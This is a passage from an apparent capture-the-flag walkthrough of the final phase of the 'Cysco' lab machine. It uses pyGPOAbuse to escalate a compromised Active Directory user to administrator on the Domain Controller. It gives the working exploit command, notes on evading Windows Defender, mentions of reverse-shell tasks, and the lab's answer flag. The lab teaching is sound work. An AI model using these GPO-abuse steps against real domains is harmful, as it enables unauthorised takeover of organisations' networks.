* **Outbound Object Control:** He possesses `GenericAll` (Full Control), `WriteDacl`, and `WriteOwner` privileges over the **Default Domain Policy**.
* **The Attack Concept (GPO Abuse):** Group Policy Objects (GPOs) are used by administrators to manage configurations, enforce security rules, and deploy software across all computers in a domain. Because Greg has full control over the *Default Domain Policy*, an attacker can modify this policy to push malicious configurations to the Domain Controller and all connected machines.

**Standard GPO Abuse techniques include:**

* Creating an Immediate Scheduled Task that executes a reverse shell as `NT AUTHORITY\SYSTEM`.
* Pushing a policy that adds our compromised user directly to the local `Administrators` group.
* Pushing a policy that disables Windows Defender/AV.

## Full Domain Compromise <a href="#user-content-full-domain-compromise" id="user-content-full-domain-compromise"></a>

Welcome to the final phase of the **Cysco** machine! In this concluding lesson, we take our newly compromised user, `greg.shields`, and abuse his Active Directory permissions to modify a core Group Policy Object (GPO). This allows us to grant ourselves Domain Admin privileges and fully compromise the network.

***

### 1. The Attack Path: GPO Abuse <a href="#user-content-1-the-attack-path-gpo-abuse" id="user-content-1-the-attack-path-gpo-abuse"></a>

From our BloodHound analysis in Part 5, we know that `greg.shields` is a member of the **Group Policy Creator Owners** group and possesses **GenericAll** (Full Control) over the **Default Domain Policy**.

* **The Concept:** Group Policy Objects (GPOs) push configurations and scheduled tasks to machines on the domain. Because the Default Domain Policy applies to the Domain Controller itself, injecting a malicious scheduled task into this GPO means the Domain Controller will execute our arbitrary commands as `NT AUTHORITY\SYSTEM`.

***

### 2. Tool Setup: `pyGPOAbuse` <a href="#user-content-2-tool-setup-pygpoabuse" id="user-content-2-tool-setup-pygpoabuse"></a>

To automate the modification of the GPO, we use **pyGPOAbuse.py** (a Python implementation of SharpGPOAbuse).

{% embed url="<https://github.com/Hackndo/pyGPOAbuse>" %}

**Python Virtual Environments (Best Practice)**

When downloading and running third-party Python scripts, it is highly recommended to use a virtual environment. This prevents dependency conflicts from breaking other tools on your Kali/Parrot VM.

* **Command Setup:**

```
# 1. Create the virtual environment named 'myenv'  
python3 -m venv myenv  
# 2. Activate the virtual environment  
source myenv/bin/activate  
# 3. Install the tool's dependencies  
pip3 install -r requirements.txt  
```

*(Note: Your terminal prompt will change to show `(myenv)` indicating the environment is active).*

<figure><img src="/files/79cu2GP0RXF3NiSfFjTx" alt=""><figcaption></figcaption></figure>

***

### 3. Executing the Exploit <a href="#user-content-3-executing-the-exploit" id="user-content-3-executing-the-exploit"></a>

We need to instruct the Domain Controller to add `greg.shields` to the local `Administrators` group (which, on a Domain Controller, effectively grants domain-wide administrative privileges).

**Troubleshooting Notes from the Field:**

* **AV/Defender:** Attempting to inject a reverse shell command (like a PowerShell one-liner) via GPO often gets blocked by Windows Defender. Keep it simple and "living off the land" by using native Windows commands.
* **Syntax Matters:** When passing passwords with special characters (like `!`) in Linux terminals, **always enclose them in single quotes (`' '`)**, not backticks or double quotes, to prevent the shell from interpreting them as variables or history expansions.

**The Successful Exploit Command:**

You must grab the exact **GPO ID** from BloodHound (found in the Node Info tab when clicking on the Default Domain Policy).

* **Command:**

```
python3 pygpoabuse.py 'sysco.local/greg.shields:5y5coSmarter2025!!!' \
-gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
-taskname 'hacksmarter' \
-command 'net localgroup administrators greg.shields /add'
```

* **Command Breakdown:**
  * `-p`: The compromised user's password.
  * `-gpo-id`: The unique identifier of the target policy.
  * `-taskname`: A custom name for the malicious scheduled task we are injecting.
  * `-command`: The native Windows command to execute. `net localgroup administrators <user> /add` is the standard syntax for elevating a user to an Admin.

<figure><img src="/files/x5DqIafZ5rdva1HxlBXT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QKacy8yVnrDPfSFW69qo" alt=""><figcaption></figcaption></figure>

***

### 4. Triggering the Payload & Verification <a href="#user-content-4-triggering-the-payload--verification" id="user-content-4-triggering-the-payload--verification"></a>

Once the malicious GPO is injected, it will naturally propagate across the network, but we can force the Domain Controller to pull the update immediately.

1. **Force the Update:** Log into the Domain Controller via RDP as `greg.shields` and run the following in a command prompt or PowerShell:

```
gpupdate /force  
```

*This forces the machine to process the updated Default Domain Policy and execute our scheduled task.* 2. **Verify Privileges:** Check Greg's group memberships to confirm the exploit worked:

```
net user greg.shields  
```

*You should now see `Administrators` listed under Local Group Memberships.* 3. **Capture the Flag:** Open a new PowerShell window **As Administrator**. You can now navigate to the Administrator's desktop and read the final flag!

```
cd C:\Users\Administrator\Desktop  
type root.txt  
```

{% hint style="info" %}
e7f850e7c14aeae7ecbb900fb6afbba1
{% endhint %}

<figure><img src="/files/ALZqBNYWjFLo0lqJXgCN" alt=""><figcaption></figcaption></figure>